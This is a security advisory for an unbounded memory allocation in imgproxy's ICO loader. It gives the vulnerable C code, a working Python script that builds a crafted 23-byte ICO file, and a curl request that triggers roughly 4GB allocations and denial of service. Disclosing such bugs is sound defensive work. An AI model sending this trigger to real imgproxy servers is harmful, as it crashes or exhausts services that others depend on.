---
id: GHSA-mmq5-xm89-9pfg
aliases:
  - GO-2026-6898
title: >-
  imgproxy has unbounded memory allocation in ICO loader that allows
  unauthenticated memory-exhaustion DoS via crafted data_size field
summary: >-
  imgproxy has unbounded memory allocation in ICO loader that allows
  unauthenticated memory-exhaustion DoS via crafted data_size field
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: imgproxy
product: github.com/imgproxy/imgproxy/v3
ecosystem: go
affected:
  - 'github.com/imgproxy/imgproxy/v3 >= 3.3.0, < 4.0.16'
patched:
  - github.com/imgproxy/imgproxy/v3 4.0.16
published: '2026-10-30'
updated: '2026-11-05'
sourceUpdated: '2026-11-05T23:26:19.023861671Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-mmq5-xm89-9pfg'
references:
  - url: >-
      https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg
  - url: >-
      https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917
  - url: 'https://github.com/imgproxy/imgproxy'
  - url: 'https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16'
  - url: 'https://github.com/advisories/GHSA-mmq5-xm89-9pfg'
tags:
  - osv
  - go
  - ghsa
cwe:
  - CWE-400
ingestedAt: '2026-10-30T23:11:25.786Z'
---

## Overview

### Summary

Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.

### Details

In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:

```
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);

// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
```

There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.

### PoC

```py
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-4gb.ico  sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
```

```
# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
#   OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
#   decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
#   transiently — repeatable memory exhaustion).
```

### Impact

Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.

## Affected packages

- `github.com/imgproxy/imgproxy/v3 >= 3.3.0, < 4.0.16`

## Remediation

Upgrade to a patched release:

- `github.com/imgproxy/imgproxy/v3 4.0.16`